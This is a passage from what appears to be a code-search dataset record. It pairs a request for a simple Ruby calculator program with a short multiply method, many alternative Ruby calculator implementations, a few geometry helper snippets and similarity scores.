return\n end\n\n (y1..y2).each {|y| self[y, x] = c}\n end", "def coverPoints(a, b)\n x, y = 0, 0\n distance = 0\n (1...a.length).each do |i|\n x = (a[i] - a[i -1]).abs\n y = (b[i] - b[i -1]).abs\n distance += [x, y].min\n end\n distance\n end", "def egde(x1, y1, x2, y2)\n ConsoleDraw::Figures::Line.new(x1, y1, x2, y2).calculate_coordinates\n end", "def rec_intersection(r1, r2)\n p1 = [[r1[0][0],r2[0][0]].max , [r1[0][1],r2[0][1]].max]\n p2 = [[r1[1][0],r2[1][0]].min , [r1[1][1],r2[1][1]].min]\n if p1[0] < p2[0] && p1[1] < p2[1]\n return [p1,p2]\n else\n return nil\n end\nend", "def find_intersection(lx, ly, m, cx, cy, r, dir)\n qa = m*m+1\n qb = 2*(ly*m -lx*m*m - cy*m - cx)\n qc = lx*lx*m*m + -2*lx*ly*m + 2*lx*cy*m +\n ly*ly + -2*ly*cy +\n cy*cy + cx*cx - r*r\n\n x = quadratic(qa, qb, qc, dir)\n y = (x-lx)*m + ly\n [x, y]\n end", "def rec_intersection(rect1, rect2)\n x_min = [rect1[0][0], rect2[0][0]].max\n x_max = [rect1[1][0], rect2[1][0]].min\n\n y_min = [rect1[0][1], rect2[0][1]].max\n y_max = [rect1[1][1], rect2[1][1]].min\n\n return nil if ((x_max < x_min) || (y_max < y_min)) # no overlap\n return [[x_min, y_min], [x_max, y_max]]\nend", "def intersection(note_a, note_b)\n\n return (note_a[0] <= note_b[1] and note_a[1] >= note_b[0])\n\n end", "def point_point_distance(a, b)\n (((a.x - b.x) ** 2 + (a.y - b.y) ** 2) ** 0.5).abs\n end", "def vline x, c, y1 = 0, y2 = w\n line x, y1, x, y2, c\n end", "def vline x, c, y1 = 0, y2 = w\n line x, y1, x, y2, c\n end", "def hline y, c, x1 = 0, x2 = h\n line x1, y, x2, y, c\n end", "def hline y, c, x1 = 0, x2 = h\n line x1, y, x2, y, c\n end" ]
[ "0.7893033", "0.78868705", "0.7807138", "0.7807138", "0.7807138", "0.7687287", "0.7673673", "0.7571107", "0.7547628", "0.752886", "0.7523019", "0.73884475", "0.72077465", "0.71428514", "0.7095963", "0.7085715", "0.7065024", "0.69384766", "0.69384766", "0.69384766", "0.6927364", "0.6924663", "0.6910678", "0.68902516", "0.6889705", "0.6876693", "0.68724066", "0.6863245", "0.6823597", "0.68120664", "0.68075496", "0.6722692", "0.66785", "0.6642642", "0.66143996", "0.65865797", "0.6546158", "0.65442616", "0.64834815", "0.6461638", "0.645227", "0.6443938", "0.64309615", "0.6409547", "0.63805103", "0.63620925", "0.63449025", "0.63143104", "0.6300192", "0.62583303", "0.6241188", "0.6238872", "0.6224607", "0.61921406", "0.61895096", "0.6187017", "0.6120458", "0.610869", "0.6102312", "0.61007446", "0.61002564", "0.60844326", "0.606913", "0.6066937", "0.60630655", "0.6054048", "0.60418534", "0.6029352", "0.5985646", "0.59809774", "0.5970541", "0.5970541", "0.5970541", "0.59609884", "0.59596044", "0.5926513", "0.591751", "0.5890494", "0.58821523", "0.58641106", "0.5863192", "0.5848382", "0.5801895", "0.5800976", "0.5800976", "0.5773488", "0.5755331", "0.57527006", "0.5747532", "0.5735783", "0.571941", "0.57187957", "0.571597", "0.5713215", "0.57123595", "0.5699473", "0.5686149", "0.56846964", "0.56846964", "0.56834644", "0.56834644" ]
0.0
-1
Create a simple calculator that first asks the user what method they would like to use (addition, subtraction, multiplication, division) and then asks the user for two numbers, returning the result of the method with the two numbers. Here is a sample prompt: ``` What calculation would you like to do? (add, sub, mult, div) add What is number 1? 3 What is number 2? 6 Your result is 9
def multiply(num1, num2) product = num1 * num2 puts product end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def calculator\n #ask user method\n puts \"What calculation would you like to do? (add, sub, mult, div)\"\n calc_type = gets.chomp\n\n #ask for first number\n puts \"What is number 1? where result = num_1 operator num_2\"\n num_1 = gets.chomp\n num_1 = num_1.to_f\n\n #ask for second number\n puts \"What is number 2?\"\n num_2 = gets.chomp\n num_2 = num_2.to_f\n\n # do calculation using num_1, num_2, calc_type\n if calc_type == \"add\"\n result = num_1 + num_2\n elsif calc_type == \"sub\" \n result = num_1 - num_2\n elsif calc_type == \"mult\" \n result = num_1 * num_2\n else\n result = num_1.to_f / num_2.to_f\n end\n #return result\n puts \"#{result}\"\n return result\n\nend", "def calculator()\n\n\tputs \"What kind of operation would you like to do - addition, substraction, multiplication, division\"\n\tchoice = gets.chomp\n\n\tputs \"What is number 1\"\n\tnum_1 = gets.chomp.to_f\n\n\tputs \"What is number 2\"\n\tnum_2 = gets.chomp.to_f\n\n\tcase choice\n\t\twhen \"addition\"\n\t\t\ttotal = num_1 + num_2\n\t\t\tputs \"Your result is #{total}\"\n\t\twhen \"substraction\"\n\t\t \ttotal = num_1 - num_2\n\t\t\tputs \"Your result is #{total}\"\n\t\twhen \"multiplication\"\n\t\t \ttotal = num_1 * num_2\n\t\t\tputs \"Your result is #{total}\"\n\t\telse\n\t\t \ttotal = num_1 / num_2\n\t\t\tputs \"Your result is #{total}\"\n\tend\nend", "def basic_calculator\n\tputs \"Welcome to the basic calculator.\"\n\tputs \"Please select your operation.\"\n\tputs \"(a) is for addition\"\n\tputs \"(s) is for subtraction\"\n\tputs \"(d) is for division\"\n\tputs \"(m) is for multiplicaiton\"\n\n\toperation = gets.chomp\n\tputs \"Enter your first number\"\n\tnum1 = gets.chomp.to_f\n\tputs \"Enter your second number\"\n\tnum2 = gets.chomp.to_f\n\n\tcase operation\n\twhen 'a'\n\t\tadd num1, num2\n\twhen 's'\n\t\tsubract num1, num2\n\twhen 'd'\n\t\tdivide num1, num2\n\twhen 'm'\n\t\tmultiply num1, num2\n\tend\nend", "def calculator \n valid_operations = [\"add\",\"+\",\"subtract\",\"-\",\"multiply\",\"*\",\"divide\",\"/\"]\n \n # ask user for math operations \n # check if operation is valid and if not ask for a new input \n puts \"What is the math operation?\"\n operation = gets.chomp.strip.downcase \n until valid_operations.include?(operation)\n puts \"Please enter a valid operation\"\n operation = gets.chomp\n end \n \n \n # ask user for numbers and input validation \n puts \"What is the first number for the math operation?\"\n number_one = gets.chomp.strip\n number_one = check_number(number_one)\n puts \"What is the seccond number for the math operation?\"\n number_two = gets.chomp.strip\n number_two = check_number(number_two)\n \n # use user input to do math operations \n if operation == \"add\" || operation == \"+\"\n result = number_one + number_two \n operation = \"+\"\n elsif operation == \"subtract\" || operation == \"subtract\"\n result = number_one - number_two \n operation = \"-\"\n elsif operation == \"multiply\" || operation == \"*\"\n result = number_one * number_two \n operation = \"*\"\n elsif operation == \"divide\" || operation == \"/\"\n result = number_one / number_two \n operation = \"/\"\n \n end \n \n \n # display result of calculation to user \n puts \" #{number_one} #{operation} #{number_two} = #{result}\"\nend", "def basic_calculator\n\tputs \"Welcome to the basic calculator\"\n\tputs \"Please select your operation\"\n\tputs \"(a) - addition\"\n\tputs \"(s) - substraction\"\n\tputs \"(d) - division\"\n\tputs \"(m) - multiplication\"\n\n\toperation = gets.chomp\n\tputs \"Enter your first number\"\n\tnum1 = gets.chomp.to_f\n\tputs \"Enter your second number\"\n\tnum2 = gets.chomp.to_f\n\n\tcase operation \n\twhen 'a'\n\t\tadd num1, num2\n\twhen 's'\n\t\tsubstract num1, num2\n\twhen 'd'\n\t\tdivide num1, num2\n\twhen 'm'\n\t\tmultiply num1, num2\n\tend\nend", "def basic_calculator \n\tputs \"Welcome to the basic calculator.\"\n\tputs \"Please select your operation:\"\n\tputs \"(a) - addition\"\n\tputs \"(s) - subtraction\"\n\tputs \"(d) - division\"\n\tputs \"(m) - multiplication\"\n\n\toperation = gets.chomp\n\tputs \"Enter your first number\"\n\tnum_1 = gets.chomp.to_f\n\tputs \"Enter your second number\"\n\tnum_2 = gets.chomp.to_f\n\n\tcase operation\n\twhen 'a'\n\t\tadd num_1, num_2\n\twhen 's'\n\t\tsubtract num_1, num_2\n\twhen 'd'\n\t\tdivide num_1, num_2\n\twhen 'm'\n\t\tmultiply num_1, num_2\n\tend\nend", "def basic_calculator\n print \"Do you wish to add, subtract, multiply or divide?: \"\n operation = gets.chomp.downcase\n\n if operation == \"add\"\n formula\n puts (@first_num + @second_num)\n elsif operation == \"subtract\"\n formula\n puts (@first_num - @second_num)\n elsif operation == \"multiply\"\n formula\n puts (@first_num * @second_num)\n elsif operation == \"divide\"\n formula\n puts (@first_num / @second_num)\n else\n puts \"Invalid selection.\"\n end\n end", "def arithmetic_ops\n puts \"Enter first number:\"\n num1 = gets.to_i\n puts \"Enter the second number:\"\n num2 = gets.to_i\n\n puts \"#{num1} + #{num2} = #{num1 + num2}\" \n puts \"#{num1} - #{num2} = #{num1 - num2}\" \n puts \"#{num1} * #{num2} = #{num1 * num2}\" \n puts \"#{num1} / #{num2} = #{num1 / num2}\" \n puts \"#{num1} % #{num2} = #{num1 % num2}\" \n puts \"#{num1} ** #{num2} = #{num1 ** num2}\"\n \nend", "def calculator\n\tputs \"Would you like to use this calculator to 'add', 'subtract', 'multiply' or 'divide'?\"\n\n\tchoice = gets.chomp\n\n\tcase choice\n\t\twhen \"add\"\n\t\t\tputs \"What's your first number to add?\"\n\t\t\tnum1 = gets.chomp.to_f\n\t\t\tputs \"What's your second number to add?\"\n\t\t\tnum2 = gets.chomp.to_f\n\t\t\tnum3 = num1 + num2\n\t\t\tputs \"#{num1} + #{num2} = #{num3}\"\n\t\twhen \"subtract\"\n\t\t\tputs \"What's your first number to subtract?\"\n\t\t\tnum1 = gets.chomp.to_f\n\t\t\tputs \"What's your second number to subtract?\"\n\t\t\tnum2 = gets.chomp.to_f\n\t\t\tnum3 = num1 - num2\n\t\t\tputs \"#{num1} - #{num2} = #{num3}\"\n\t\twhen \"multiply\"\n\t\t\tputs \"What's your first number to multiply?\"\n\t\t\tnum1 = gets.chomp.to_f\n\t\t\tputs \"What's your second number to multiply?\"\n\t\t\tnum2 = gets.chomp.to_f\n\t\t\tnum3 = num1 * num2\n\t\t\tputs \"#{num1} * #{num2} = #{num3}\"\n\t\twhen \"divide\"\n\t\t\tputs \"What's your first number to divide?\"\n\t\t\tnum1 = gets.chomp.to_f\n\t\t\tputs \"What's your second number to divide?\"\n\t\t\tnum2 = gets.chomp.to_f\n\t\t\tnum3 = num1 / num2\n\t\t\tputs \"#{num1} / #{num2} = #{num3}\"\n\t\telse\n\t\t\tputs \"check yo spelling foo ... I said enter 'add', 'subtract', 'multiply' or 'delete':\"\n\t\t\tcalculator\n\tend\nend", "def calculator\n\tputs \"Hello and welcome to the calculator. If you do not want to use this application, type exit and click the return key\"\n\tputs \"Would you like to add, subtract, multiply, divide, or use exponents?\"\n\tanswer = gets.chomp\n\tif answer == \"multiply\"\n\t\tmultiplication\n\telsif answer == \"add\"\n\t\taddition\n\telsif answer == \"divide\"\n\t\tdivision\n\telsif answer == \"subtract\"\n\t\tsubtraction\n\telsif answer == \"exponents\"\n\t\texponents\n\telse\n\t\tputs \"I am sorry, that is not a computation. Try re-wording what you said and try again.\"\n\tend\nend", "def calculator()\n puts \"What would you like to do?\"\n res = gets.chomp\n puts \"First number\"\n first = gets.chomp.to_f\n puts \"Second number\"\n second = gets.chomp.to_f\n if res == \"add\"\n first += second\n elsif res == \"sub\"\n first -= second\n elsif res == \"mult\"\n first *= second\n elsif res == \"div\"\n first /= second\n else \"Please provide correct\"\n end\n puts \"Your result is %s\" % first\nend", "def calculator(num1, num2)\n\treturn num1 + num2, num1 - num2, num1 * num2, num1 / num2\nend", "def basic_calculator\n puts \"Welcome to the basic calculator\"\n puts \"Please select your operation\"\n puts \"(a) - addition\"\n puts \"(s) - subtraction\"\n puts \"(d) - division\"\n puts \"(m) - multiplication\"\n\n operation = gets.chomp\n puts \"Enter your first number\"\n num1 = gets.chomp.to_f\n puts \"Enter your second number\"\n num2 = gets.chomp.to_f\n\n case operation\n when 'a'\n add num1, num2\n when 's'\n subtract num1, num2\n when 'd'\n divide num1, num2\n when 'm'\n multiply num1, num2\n end\nend", "def calculator_method(number_one, operator, number_two)\n if operator == \"+\"\n return result = number_one + number_two\n elsif operator == \"-\"\n return result = number_one - number_two\n elsif operator == \"*\"\n return result = number_one * number_two\n else operator == \"/\"\n return result = number_one / number_two\n end\nend", "def basic_calc\n puts Rainbow(\"(a)dd, (s)ubtract, (m)ultiply, (d)ivide\").yellow.inverse\n arithmetic_type = gets.chomp.downcase\n\n case arithmetic_type\n \n when 'a' \n puts \"whats your first number?\"\n response_1 = gets.strip.to_f \n puts \"whats your second number?\"\n response_2 = gets.strip.to_f\n result = response_1 + response_2\n puts \"#{response_1}+#{response_2} = #{result}\"\n\n when 's' \n puts \"whats your first number?\"\n response_1 = gets.strip.to_f \n puts \"whats your second number?\"\n response_2 = gets.strip.to_f\n result = response_1 - response_2\n puts \"#{response_1}-#{response_2} = #{result}\"\n when 'm' \n puts \"whats your first number?\"\n response_1 = gets.strip.to_f \n puts \"whats your second number?\"\n response_2 = gets.strip.to_f\n result = response_1 * response_2\n puts \"#{response_1}*#{response_2} = #{result}\"\n when 'd' \n puts \"whats your first number?\"\n response_1 = gets.strip.to_f \n puts \"whats your second number?\"\n response_2 = gets.strip.to_f\n result = response_1 / response_2\n puts \"#{response_1}/#{response_2} = #{result}\"\n\nend\nend", "def calculator_method(operator, number_1, number_2)\n case operator\n when \"add\"\n total = number_1 + number_2\n when \"+\"\n total = number_1 + number_2\n when \"subtract\"\n total = number_1 - number_2\n when \"-\"\n total = number_1 - number_2\n when \"multiply\"\n total = number_1 * number_2\n when \"x\"\n total = number_1 * number_2\n when \"*\"\n total = number_1 * number_2\n when \"divide\"\n total = number_1.to_f / number_2.to_f\n when \"/\"\n total = number_1.to_f / number_2.to_f\n end\n return total\nend", "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n command = gets.chomp.downcase\n case command\n when \"a\"\n puts \"Adding, please provide numbers\"\n first_num = inputs\n answer = inputs + first_num\n when \"s\"\n puts \"Subtracting\"\n first_num = inputs\n answer = first - inputs\n when \"m\"\n puts \"Multiplication\"\n first_num = inputs\n answer = first_num * inputs\n when \"d\"\n puts \"Division\"\n first_num = inputs\n answer = first_num/inputs\n else\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n command = gets.chomp.downcase\n end\n return answer\nend", "def calculator(operation, num1, num2)\n \n if [\"+\", \"-\", \"*\" , \"/\"].include?(operation)\n num1.method(operation).(num2)\n else\n puts \"Invalid operation!\"\n nil\n end\nend", "def calc(num1, mathop, num2)\n if mathop == \"+\"\n return num1 + num2\n elsif mathop == \"-\"\n return num1 - num2\n elsif mathop == \"*\"\n return num1 * num2\n elsif mathop == \"/\"\n return num1 / num2\n else\n return \"I did not recognize your input, please try again.\"\n end\nend", "def calculator(op, num1, num2)\n if op == \"add\" || op == \"+\" || op == \"addition\"\n return num1 + \" + \" + num2 + \" = #{add(num1.to_i, num2.to_i)}\"\n elsif op == \"subtract\" || op == \"-\" || op == \"subtraction\"\n return num1 + \" - \" + num2 + \" = #{sub(num1.to_i, num2.to_i)}\"\n elsif op == \"multiply\" || op == \"*\" || op == \"multiplication\"\n return num1 + \" * \" + num2 + \" = #{mult(num1.to_i, num2.to_i)}\"\n elsif op == \"divide\" || op == \"/\" || op == \"division\"\n return num1 + \" / \" + num2 + \" = #{div(num1.to_i, num2.to_i)}\"\n elsif op == \"modulo\" || op == \"remainder\" || op == \"%\"\n return num1 + \" % \" + num2 + \" = #{mod(num1.to_i, num2.to_i)}\"\n else op == \"exponent\" || op == \"^\"\n return num1 + \"^\" + num2 + \" = #{exponent(num1.to_i, num2.to_i)}\"\n end\nend", "def calculator(operator_active, num1, num2)\n case operator_active\n when \"+\"\n return num1 + num2\n when \"-\"\n return num1 - num2\n when \"*\"\n return num1 * num2\n when \"/\"\n return num1 / num2\n end\nend", "def calculator_1(operator, num1, num2)\n # See exercise 36\nend", "def calculator(number1, number2, operation)\n case operation\n when \"A\"\n number1 + number2\n when \"S\"\n number1 - number2\n when \"M\"\n number1 * number2\n when \"D\"\n divide_integers(number1, number2)\n else\n \"Unknown operation. Giving up.\"\n end\nend", "def doMath(num1, num2, operator)\n # puts \"#{num1} #{operator} #{num2} \"\n case operator\n when \"+\"\n answer = num1 + num2\n when \"-\"\n answer = num1 - num2\n when \"*\"\n answer = num1 * num2\n when \"/\"\n answer = num1 / num2\n else\n answer = nil\n end\n # puts answer\n return answer\nend", "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n operation = gets.chomp.downcase\n print \"first number: \"\n a = gets.to_f\n print \"second number: \"\n b = gets.to_f\n \n case operation\n when 'a'\n puts \"#{a + b}\"\n when 's'\n puts \"#{a - b}\"\n when 'm'\n puts \"#{a * b}\"\n when 'd'\n puts \"#{a / b}\"\n else\n puts \"WRONG!!!!!\"\n basic_calc\n end\n\n gets\nend", "def calculator\n puts \"Welcome to the DPL Ruby Calculator!\"\n puts \"Type 'clear' to clear the calculator at anytime\"\n puts \"Type 'exit' to exit the calculator at anytime\"\n first_number\n get_modifier\n second_number\n put_result \nend", "def calculate(operator, num1, num2)\n # Use case when to invoke each method\n case operator\n when \"add\", \"+\"\n puts \"#{num1} + #{num2} = #{add(num1, num2)}\"\n # Do I need a return here\n when \"subtract\", \"-\"\n puts \"#{num1} - #{num2} = #{subtract(num1, num2)}\"\n when \"multiply\", \"*\"\n puts \"#{num1} * #{num2} = #{multiply(num1, num2)}\"\n when \"divide\", \"/\"\n puts \"#{num1} / #{num2} = #{divide(num1, num2)}\"\n when \"modulo\", \"%\"\n puts \"#{num1} % #{num2} = #{mod(num1, num2)}\"\n when \"exponify\", \"**\"\n puts \"#{num1}^#{num2} = #{exponify(num1, num2)}\"\n end\nend", "def basic_calc\n\n\n print Rainbow(\"(a)\").green + \"dd, \" + Rainbow(\"(s)\").yellow + \"ubtract, \" + Rainbow(\"(m)\").red + \"ultiply, \" + Rainbow(\"(d)\").cyan + \"ivide: \"\n basic_function = gets.chomp.downcase\n print \"Enter first number: \"\n first_number = gets.chomp.to_f\n print \"Enter second number: \"\n second_number = gets.chomp.to_f\n case basic_function\n when \"a\"\n answer = first_number + second_number\n puts \"Your answer is #{answer}\"\n when \"s\"\n answer = first_number - second_number\n puts \"Your answer is #{answer}\"\n when \"m\"\n answer = first_number * second_number\n puts \"Your answer is #{answer}\"\n when \"d\"\n answer = first_number / second_number\n puts \"Your answer is #{answer}\"\n \n else\n puts \"incorrect\"\n end \ngets\nend", "def calculator\n end_op = \"addition\"\n end_product = 0\n puts \"What is your first number?\"\n numb1 = gets.chomp.to_f\n puts \"What is your operation?\"\n op = gets.chomp\n puts \"What is your second number?\"\n numb2 = gets.chomp.to_f\n puts \"Would you like to add an operation?\"\n add_second = gets.chomp.capitalize\n if add_second.upcase == \"YES\"\n puts \"What is your operation?\"\n op2 = gets.chomp\n puts \"What is your third number?\"\n numb3 = gets.chomp.to_f\n# calculator\n else\n end\n\n # This is normalizing the input, so that the operation is only the lowercase word of the op\n if op == \"+\" || op == \"addition\"\n end_op = \"addition\"\n elsif op == \"-\" || op == \"subtraction\"\n end_op = \"subtraction\"\n elsif op == \"*\" || op == \"multiplication\"\n end_op = \"multiplication\"\n elsif op == \"/\" || op == \"division\"\n end_op = \"division\"\n end\n\n # This does the same as the above section, for the 2nd op\n if op2 == \"+\" || op == \"addition\" || op == \"ADDITION\"\n end_op2 = \"addition\"\n elsif op2 == \"-\" || op == \"subtraction\" || op == \"SUBTRACTION\"\n end_op2 = \"subtraction\"\n elsif op2 == \"*\" || op == \"multiplication\" || op == \"MULTIPLICATION\"\n end_op2 = \"multiplication\"\n elsif op2 == \"/\" || op == \"division\" || op == \"DIVISION\"\n end_op2 = \"division\"\n end\n\n # This operates the first 2 numbers\nif end_op == \"addition\"\n end_product = numb1 + numb2\n elsif end_op == \"subtraction\"\n end_product = numb1 - numb2\n elsif end_op == \"multiplication\"\n end_product = numb1 * numb2\n elsif end_op == \"division\"\n end_product = numb1 / numb2\nend\n\n # This calculates for the 2nd operation and 3rd number\n if add_second.upcase == \"YES\"\n if end_op2 == \"addition\"\n end_product = end_product + numb3\n elsif end_op2 == \"subtraction\"\n end_product = end_product - numb3\n elsif end_op2 == \"multiplication\"\n end_product = end_product * numb3\n elsif end_op2 == \"division\"\n end_product = end_product / numb3\n else\nend\nend\n puts \"Your final answer is #{end_product}.\"\nend", "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n option_2 = gets.chomp.downcase\n\n if option_2 == \"a\"\n print \"Please enter a number: \"\n number_1 = gets.chomp.to_i\n print \"Please enter a second number to add: \"\n number_2 = gets.chomp.to_i\n puts \"Result: #{number_1} + #{number_2} = #{number_1 + number_2}\"\n elsif option_2 == \"s\"\n print \"Please enter a number: \"\n number_1 = gets.chomp.to_i\n print \"Please enter a second number to subtract: \"\n number_2 = gets.chomp.to_i\n puts \"Result: #{number_1} - #{number_2} = #{number_1 - number_2}\"\n elsif option_2 == \"m\"\n print \"Please enter a number: \"\n number_1 = gets.chomp.to_i\n print \"Please enter a second number to multiply: \"\n number_2 = gets.chomp.to_i\n puts \"Result: #{number_1} x #{number_2} = #{number_1 * number_2}\"\n elsif option_2 == \"d\"\n print \"Please enter a number: \"\n number_1 = gets.chomp.to_i\n print \"Please enter a second number to divide: \"\n number_2 = gets.chomp.to_i\n puts \"Result: #{number_1} ÷ #{number_2} = #{number_1 / number_2}\"\n else\n puts \"That is not a valid option. Please try again.\"\n end\n\nend", "def question\nputs 'Would you like to [concatenate] or [randomize], [multiply] or [divide]?'\n\noperator = gets.chomp\n\nif operator == 'add' \n answer = firstNumber + secondNumber\n puts answer \n \nelsif operator == 'subtract'\n \n\n answer = firstNumber - secondNumber\n puts answer\n\nelsif operator == 'multiply'\n\nanswer = firstNumber * secondNumber\nputs answer\n\nelsif operator == 'divide'\n\nanswer = firstNumber / secondNumber\nputs answer\n\nend\nend", "def calculations (operator, num1, num2)\n case operator\n when \"addition\", \"add\", \"+\"\n results = num1 + num2\n puts \"Your answer is: \" + results.to_s\n when \"subtraction\", \"subtract\", \"-\"\n results = num1 - num2\n puts \"Your answer is: \" + results.to_s\n when \"multiplication\", \"multiply\", \"*\"\n results = num1 * num2\n puts \"Your answer is: \" + results.to_s\n when \"division\", \"divide\", \"/\"\n #check to see if user is trying to divide by 0\n if num2 == 0\n #if num2 is 0, then tell user, not possible. That's rude and exit program. \n puts \"Looks like you're trying to divide by 0. You know that's mean. BYE BYE FELICIA!\"\n exit \n #else calculate \n results = num1 / num2\n puts \"Your answer is: \" + results.to_s\n end \n end \nend", "def basic_calc\n\n\n print Rainbow(\"(a)\").green + \"dd, \" + Rainbow(\"(s)\").yellow + \"ubtract, \" + Rainbow(\"(m)\").red + \"ultiply, \" + Rainbow(\"(d)\").cyan + \"ivide: \"\n basic_function = gets.chomp.downcase\n print \"Enter first number: \"\n first_number = gets.chomp.to_f\n print \"Enter second number: \"\n second_number = gets.chomp.to_f\n case basic_function\n when \"a\"\n answer = first_number + second_number\n puts \"Your answer is #{answer}\"\n when \"s\"\n answer = first_number - second_number\n puts \"Your answer is #{answer}\"\n when \"m\"\n answer = first_number * second_number\n puts \"Your answer is #{answer}\"\n when \"d\"\n answer = first_number / second_number\n puts \"Your answer is #{answer}\"\n \n else\n puts \"incorrect\"\n end \n gets\n menu\nend", "def basic_calc\n print Rainbow(\"\\n(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \\n\").yellow\n basic_choice = gets.chomp.downcase\n\n print \"\\nEnter your first number: \" \n first_number = gets.to_f\n print \"\\nEnter your second number: \"\n second_number = gets.to_f\n\n\n case basic_choice[0]\n when \"a\"\n print \"\\n\\t#{first_number} + #{second_number} = \", first_number + second_number, \"\\n\"\n when \"s\"\n print \"\\n\\t#{first_number} - #{second_number} = \", first_number - second_number, \"\\n\"\n when \"m\"\n print \"\\n\\t#{first_number} * #{second_number} = \", first_number * second_number, \"\\n\"\n when \"d\"\n print \"\\n\\t#{first_number} / #{second_number} = \", first_number / second_number, \"\\n\"\n else Rainbow(\"\\nYou're doing it wrong!\".upcase).red\n end\n gets\nend", "def basic_calc\n puts \"Give me two numbers\"\n print \"> first:\"\n first = gets.chomp.to_i\n print \"> second:\"\n second = gets.chomp.to_i\n\n #print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide:\"\n case $selection\n when \"add\"\n puts \"\\nanswer: #{first + second}\"\n when \"subtract\"\n puts \"\\nanswer: #{first - second}\"\n when \"multiply\"\n puts \"\\nanswer: #{first * second}\"\n when \"divide\"\n puts \"\\nanswer: #{first.to_f / second.to_f} \"\n else\n puts \"\\nOh crap...how'd that happen...\"\n puts \"I guess you never told me what maths to do...EMBARASSING\\n\\n\"\n end\n\nend", "def calc\n# print \"Please select (a)dd, (s)ubtract, (m)ultiply, (d)ivide, (p)ower, or (s)quare root: \"\n# operation = gets.chomp.downcase\n case response\n when \"a\"\n \tputs \"You have selected addition. Please enter the first number: \"\n \tnum1 = gets.chomp.to_f\n \tputs \"Please enter the second number: \"\n \tnum2 = gets.chomp.to_f\n \tans = num1 + num2\n \tputs \"#{num1} plus #{num2} equals #{ans}.\"\n when \"s\"\n \tputs \"You have selected subtraction. Please enter the first number: \"\n \tnum1 = gets.chomp.to_f\n \tputs \"Please enter the second number: \"\n \tnum2 = gets.chomp.to_f\n \tans = num1 - num2\n \tputs \"#{num1} minus #{num2} equals #{ans}.\"\n when \"m\"\n \tputs \"You have selected multiplication. Please enter the first number: \"\n \tnum1 = gets.chomp.to_f\n \tputs \"Please enter the second number: \"\n \tnum2 = gets.chomp.to_f\n \tans = num1 * num2\n \tputs \"#{num1} multiplied by #{num2} equals #{ans}.\"\n when \"d\"\n \tputs \"You have selected division. Please enter the first number: \"\n \tnum1 = gets.chomp.to_f\n \tputs \"Please enter the second number: \"\n \tnum2 = gets.chomp.to_f\n \tans = num1 / num2\n \tputs \"#{num1} divided by #{num2} equals #{ans}.\"\n when \"p\"\n \tputs \"You have selected power. Please enter the first number: \"\n \tnum1 = gets.chomp.to_f\n \tputs \"Please enter the power which you would like that to be raised: \"\n \tnum2 = gets.chomp.to_f\n \tans = num1**num2\n \tputs \"#{num1} to the power of #{num2} equals #{ans}.\"\n when \"s\"\n \tputs \"You have selected square root. Please enter the number you would like to know the square root of: \"\n \tnum1 = gets.chomp.to_f\n \tans = Math.sqrt(num1)\n \tputs \"The square root of #{num1} equals #{ans}.\"\n else\n \tputs \"Please try again.\"\n \tcalc\n end\nend", "def advanced_calc\n puts \"You chose advanced calculator, which operator would you like to use? type 'P' for power or 'S' for square-root? \"\n operator = gets.chomp()\n\n case operator\n when \"P\"\n puts \"Choose your base number? \"\n num1 = gets.chomp()\n puts \"Choose your exponential number? \"\n num2 = gets.chomp()\n sum = (num1.to_f) ** num2.to_f\n puts \"Your answer is #{sum}\"\n display_calculator\n\n when \"S\"\n puts \"Choose your number? \"\n x = gets.chomp().to_f\n if (x < 0)\n puts \"Error, you cannot divide by a negative number\"\n display_calculator\n elsif (x >= 0)\n sum = Math.sqrt(x)\n puts \"Your answer is #{sum}\"\n display_calculator\n end\n end\nend", "def calculator(a = 1,b = 1, operation = \"add\")\n if operation == \"add\"\n \"The result of operation #{a} + #{b} is: #{add(a, b)}\"\n elsif operation == \"substract\"\n \"The result of operation #{a} - #{b} is: #{substract(a, b)}\"\n elsif operation == \"multiply\"\n \"The result of operation #{a} * #{b} is: #{multiply(a, b)}\"\n else\n \"That's not a real math operation\"\n end\nend", "def calculation(choice, num1, num2)\n\n if choice == \"add\"\n return num1 + num2\n\n elsif choice == \"subtract\"\n return num1 - num2\n\n elsif choice == \"multiply\"\n return num1 * num2\n\n elsif choice == \"divide\"\n return num1 / num2\n\n elsif choice == \"exponent\"\n return num1 ** num2\n\n elsif choice == \"square\"\n return Math.sqrt(num1)\n end\nend", "def calculator num1, operator, num2\n # Our 'if' statement checks to see if we have found the string of plus or minus and uses the according operator.\n if operator == \"plus\"\n return num1 + num2\n else\n return num1 - num2\n end\n end", "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n function = gets.chomp.downcase\n return 'q' if function == 'q'\n\n print \"Enter first number: \"\n num_1 = gets.chomp.to_i\n\n answer = 0\n\n \n case function \n when \"a\"\n puts \"Enter the second number\"\n add_num = gets.chomp.to_i\n answer = num_1 + add_num\n when \"s\"\n puts \"Enter the second number\"\n sub_num = gets.chomp.to_i\n answer = num_1 - sub_num\n when \"m\"\n puts \"Enter the second number\"\n multi_num = gets.chomp.to_i\n answer = num_1 * multi_num\n when \"d\"\n puts \"Enter the second number \"\n divide_num = gets.chomp.to_i\n answer = num_1 / divide_num\n else\n puts \"Wrong!\"\n end\n\n print \"The answer equals: #{answer}\"\n\nend", "def calculator(a,b)\n puts \"The sub of #{a} and #{b} is #{a + b}\"\n puts \"The difference of #{a} and #{b} is #{a - b}\"\n puts \"The multiplication of #{a} and #{b} is #{a * b}\"\n end", "def basic_calc\n puts \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n basic = gets.chomp.downcase\n\n get_two_numbers\n\n case basic\n when \"a\"\n \tputs addition($num1, $num2)\n when \"s\"\n \tputs subtraction($num1, $num2)\n when \"m\"\n \tputs multiplication($num1, $num2)\n when \"d\"\n \tputs division($num1, $num2)\n end\n\nend", "def calculator(a , b, operation = \"add\")\n if operation == \"add\"\n add(a, b)\n elsif operation == \"subtract\"\n subtract(a, b)\n elsif operation == \"multiply\"\n multiply(a, b)\n else\n \"That's not a math operation, genius!\"\n end\nend", "def calculate_answer(operator, a, b)\n\n if operator == \"add\"\n return result= a + b\n elsif operator == \"subtract\"\n return 